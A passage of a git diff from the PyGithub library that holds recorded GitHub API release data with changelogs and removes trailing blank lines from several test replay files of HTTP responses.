(c0021747)\r\n* Add description to Organizations (#838) (1d918809)\r\n* Add missing attributes for IssueEvent (#857) (7ac2a2a)\r\n* Change ``MainClass.get_repo`` default laziness (#882) (6732517)\r\n\r\n**Deprecation**\r\n\r\n* Removed Repository.get_protected_branch (#871) (49db6f8)\r\n"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/12469447","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/12469447/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/12469447/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.41","id":12469447,"author":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTEyNDY5NDQ3","tag_name":"v1.41","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2018-08-19T03:58:17Z","published_at":"2018-08-19T04:29:14Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.41","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.41","body":"Version 1.41 (August 19, 2018)\r\n-----------------------------------\r\n\r\nv1.41 is not available on pypi\r\n\r\n**BUGFIX**\r\n\r\n* ``Repository.get_archive_link`` will now NOT follow HTTP redirect and return the url instead (#858) (43d325a5)\r\n* Fixed ``Gistfile.content`` (#486) (e1df09f7)\r\n* Restored NamedUser.contributions attribute (#865) (b91dee8d)\r\n\r\nNew features\r\n\r\n* Add support for repository topics (#832) (c6802b51)\r\n* Branch Protection API overhaul (#790) (171cc567)\r\n\r\n + (**breaking**) Removed Repository.protect_branch\r\n + Add `BranchProtection `__\r\n + Add `RequiredPullRequestReviews `__\r\n + Add `RequiredStatusChecks `__\r\n + Add ``Branch.get_protection``, ``Branch.get_required_pull_request_reviews``, ``Branch.get_required_status_checks``, etc\r\n\r\nImprovements\r\n\r\n* Add missing arguments to ``Repository.edit`` (#844) (29d23151)\r\n* Add missing properties to Repository (#842) (2b352fb3)\r\n* Adding archival support for ``Repository.edit`` (#843) (1a90f5db)\r\n* Add ``tag_name`` and ``target_commitish`` arguments to ``GitRelease.update_release`` (#834) (790f7dae)\r\n* Allow editing of Team descriptions (#839) (c0021747)\r\n* Add description to Organizations (#838) (1d918809)\r\n"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/12469444","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/12469444/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/12469444/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.42","id":12469444,"author":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTEyNDY5NDQ0","tag_name":"v1.42","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2018-08-19T04:27:09Z","published_at":"2018-08-19T04:28:25Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.42","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.42","body":"Version 1.42 (August 19, 2018)\r\n-----------------------------------\r\n\r\n* Fix travis upload issue\r\n\r\n**BUGFIX**\r\n\r\n* ``Repository.get_archive_link`` will now NOT follow HTTP redirect and return the url instead (#858) (43d325a5)\r\n* Fixed ``Gistfile.content`` (#486) (e1df09f7)\r\n* Restored NamedUser.contributions attribute (#865) (b91dee8d)\r\n\r\nNew features\r\n\r\n* Add support for repository topics (#832) (c6802b51)\r\n* Branch Protection API overhaul (#790) (171cc567)\r\n\r\n + (**breaking**) Removed Repository.protect_branch\r\n + Add `BranchProtection `__\r\n + Add `RequiredPullRequestReviews `__\r\n + Add `RequiredStatusChecks `__\r\n + Add ``Branch.get_protection``, ``Branch.get_required_pull_request_reviews``, ``Branch.get_required_status_checks``, etc\r\n\r\nImprovements\r\n\r\n* Add missing arguments to ``Repository.edit`` (#844) (29d23151)\r\n* Add missing properties to Repository (#842) (2b352fb3)\r\n* Adding archival support for ``Repository.edit`` (#843) (1a90f5db)\r\n* Add ``tag_name`` and ``target_commitish`` arguments to ``GitRelease.update_release`` (#834) (790f7dae)\r\n* Allow editing of Team descriptions (#839) (c0021747)\r\n* Add description to Organizations (#838) (1d918809)\r\n"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/11643649","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/11643649/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/11643649/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.40a4","id":11643649,"author":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTExNjQzNjQ5","tag_name":"v1.40a4","target_commitish":"master","name":"","draft":false,"prerelease":true,"created_at":"2018-05-21T02:42:33Z","published_at":"2018-06-26T01:09:18Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.40a4","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.40a4","body":"* Increase default timeout from 10s to 15s (#793) (140c6480)\r\n* Fix Team.description (#797) (0e8ae376)\r\n* Fix Content-Length invalid headers exception (#787) (23395f5f)\r\n* Remove NamedUser.contributions (#774) (a519e467)\r\n* Branch protection methods no longer require loki (#775) (b1e9ae68)"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/11643642","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/11643642/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/11643642/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.40","id":11643642,"author":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTExNjQzNjQy","tag_name":"v1.40","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2018-06-26T01:05:38Z","published_at":"2018-06-26T01:08:43Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.40","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.40","body":"* Major enhancement: use requests for HTTP instead of httplib (#664) (9aed19dd)\r\n* Increase default timeout from 10s to 15s (#793) (140c6480)\r\n* Test Framework improvement (#795) (faa8f205)\r\n* Handle HTTP 202 HEAD & GET with a retry (#791) (3aead158)\r\n* Fix github API requests after asset upload (#771) (8bdac23c)\r\n* Add remove_membership() method to Teams class (#807) (817f2230)\r\n* Add check-in to projects using PyGithub (#814) (05f49a59)\r\n* Include target_commitish in GitRelease (#788) (ba5bf2d7)\r\n* Fix asset upload timeout, increase default timeout from 10s to 15s (#793) (140c6480)\r\n* Fix Team.description (#797) (0e8ae376)\t\r\n* Fix Content-Length invalid headers exception (#787) (23395f5f)\t\r\n* Remove NamedUser.contributions (#774) (a519e467)\t\r\n"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/10728698","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/10728698/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/10728698/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.40a3","id":10728698,"author":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTEwNzI4Njk4","tag_name":"v1.40a3","target_commitish":"master","name":"","draft":false,"prerelease":true,"created_at":"2018-04-26T06:52:47Z","published_at":"2018-04-26T06:55:12Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.40a3","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.40a3","body":"* Add ability to skip SSL cert verification for Github Enterprise (#758) (85a9124b)\r\n* Correct Repository.get_git_tree recursive use (#767) (bd0cf309)"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/10667677","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/10667677/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/10667677/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.40a2","id":10667677,"author":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTEwNjY3Njc3","tag_name":"v1.40a2","target_commitish":"master","name":"","draft":false,"prerelease":true,"created_at":"2018-04-23T06:31:58Z","published_at":"2018-04-23T06:32:39Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.40a2","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.40a2","body":"* Re-work PullRequest reviewer request (#765) (e2e29918)\r\n* Add support for team privacy (#763) (1f23c06a)\r\n* Add support for organization outside collaborators (#533) (c4446996)\r\n* Make use of issue_url in PullRequest (#755) (0dba048f)"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/10576396","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/10576396/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/10576396/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.40a1","id":10576396,"author":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTEwNTc2Mzk2","tag_name":"v1.40a1","target_commitish":"master","name":"","draft":false,"prerelease":true,"created_at":"2018-04-17T04:15:02Z","published_at":"2018-04-17T04:16:38Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.40a1","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.40a1","body":"* Use requests instead of httplib (#664) (9aed19dd)\r\n* PullRequest labels should use Issues URL (#754) (678b6b20)\r\n* Support labels for PullRequests (#752) (a308dc92)\r\n* Add get_organizations() (#748) (1e0150b5)"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/10471784","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/10471784/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/10471784/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.39","id":10471784,"author":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTEwNDcxNzg0","tag_name":"v1.39","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2018-04-10T02:21:49Z","published_at":"2018-04-10T09:30:42Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.39","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.39","body":"* Add documentation to github.Repository.Repository.create_git_release() (#747) (a769c2ff)\r\n* Add add_to_members() and remove_from_membership() (#741) (4da483d1)\r\n* Documentation: clarify semantics of get_comments (#743) (fec3c943)\r\n* Add download_url to ContentFile, closes #575 (ca6fbc45)\r\n* Add PullRequestComment.in_reply_to_id (#718) (eaa6a508)\r\n* Add team privacy parameter to create team (#702) (5cb5ab71)\r\n* Implement License API (#734) (b54ccc78)\r\n* Fix delete method for RepositoryKey (911bf615)\r\n* Remove edit for UserKey (722f2534)\r\n* Labels API: support description (#738) (42e75938)\r\n* Added Issue.as_pull_request() and PullReqest.as_issue() (#630) (6bf2acc7)\r\n* Documentation: sort the Github Objects (#735) (1497e826)\r\n* Add support for getting PR single review's comments. (#670) (612c3500)\r\n* Update the RepositoryKey class (#530) (5e8c6832)\r\n* Added since to PR review comments get (#577) (d8508285)\r\n* Remove some duplicate attributes introduced in #522 (566b28d3)\r\n* Added tarball_url, zipball_url, prerelease and draft property (#522) (c76e67b7)\r\n* Source Import API (#673) (864c663a)"}] diff --git a/tests/ReplayData/RequiredPullRequestReviews.setUp.txt b/tests/ReplayData/RequiredPullRequestReviews.setUp.txt index b3afaac11e..5557a32648 100644 --- a/tests/ReplayData/RequiredPullRequestReviews.setUp.txt +++ b/tests/ReplayData/RequiredPullRequestReviews.setUp.txt @@ -41,4 +41,3 @@ None 200 [('status', '200 OK'), ('x-runtime-rack', '0.049518'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-oauth-scopes', 'public_repo, repo:status'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', 'W/"f972722557f6bbc814f109abae4df24e"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('x-ratelimit-remaining', '4996'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('transfer-encoding', 'chunked'), ('x-github-request-id', 'C9A0:2DCE:4A1B5C:60E4A6:5AF302A0'), ('date', 'Wed, 09 May 2018 14:16:17 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('content-encoding', 'gzip'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1525878932')] {"url":"https://api.github.com/repos/jacquev6/PyGithub/branches/integrations/protection/required_pull_request_reviews","dismiss_stale_reviews":true,"require_code_owner_reviews":true,"required_approving_review_count":3} - diff --git a/tests/ReplayData/Retry.testRaisesRetryErrorAfterMaxRetries.txt b/tests/ReplayData/Retry.testRaisesRetryErrorAfterMaxRetries.txt index 643222a0c6..70a5152039 100644 --- a/tests/ReplayData/Retry.testRaisesRetryErrorAfterMaxRetries.txt +++ b/tests/ReplayData/Retry.testRaisesRetryErrorAfterMaxRetries.txt @@ -41,4 +41,3 @@ None 502 [('Server', 'GitHub.com'), ('Date', 'Fri, 26 Oct 2018 06:02:42 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '502 Bad Gateway'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4970'), ('X-RateLimit-Reset', '1540536267'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', 'W/"3ffd69d4f4e7383eae948812b1eb72e5"'), ('X-OAuth-Scopes', 'repo'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; param=star; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F9D6:235E:3C00DD:772BC6:5BD2AE02')] {"error": "Server Error"} - diff --git a/tests/ReplayData/Retry.testReturnsRepoAfter1Retry.txt b/tests/ReplayData/Retry.testReturnsRepoAfter1Retry.txt index 22bb11d83a..a26bb6c5aa 100644 --- a/tests/ReplayData/Retry.testReturnsRepoAfter1Retry.txt +++ b/tests/ReplayData/Retry.testReturnsRepoAfter1Retry.txt @@ -19,4 +19,3 @@ None 200 [('Server', 'GitHub.com'), ('Date', 'Fri, 14 Dec 2018 17:20:59 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4998'), ('X-RateLimit-Reset', '1544811658'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', 'W/"6edb0f751d877e7d63f6accba11f7cbd"'), ('Last-Modified', 'Thu, 13 Dec 2018 15:19:18 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'E656:4CFB:2F753A4:61982D2:5C13E67A')] {"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2018-12-13T15:19:18Z","pushed_at":"2018-12-13T22:50:18Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":11559,"stargazers_count":2256,"watchers_count":2256,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":765,"mirror_url":null,"archived":false,"open_issues_count":67,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":765,"open_issues":67,"watchers":2256,"default_branch":"master","permissions":{"admin":false,"push":false,"pull":true},"organization":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"network_count":765,"subscribers_count":86} - diff --git a/tests/ReplayData/Retry.testReturnsRepoAfter3Retries.txt b/tests/ReplayData/Retry.testReturnsRepoAfter3Retries.txt index 0fc65c45fd..91a6a7454a 100644 --- a/tests/ReplayData/Retry.testReturnsRepoAfter3Retries.txt +++ b/tests/ReplayData/Retry.testReturnsRepoAfter3Retries.txt @@ -41,4 +41,3 @@ None 200 [('Server', 'GitHub.com'), ('Date', 'Fri, 14 Dec 2018 17:20:59 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4998'), ('X-RateLimit-Reset', '1544811658'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', 'W/"6edb0f751d877e7d63f6accba11f7cbd"'), ('Last-Modified', 'Thu, 13 Dec 2018 15:19:18 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 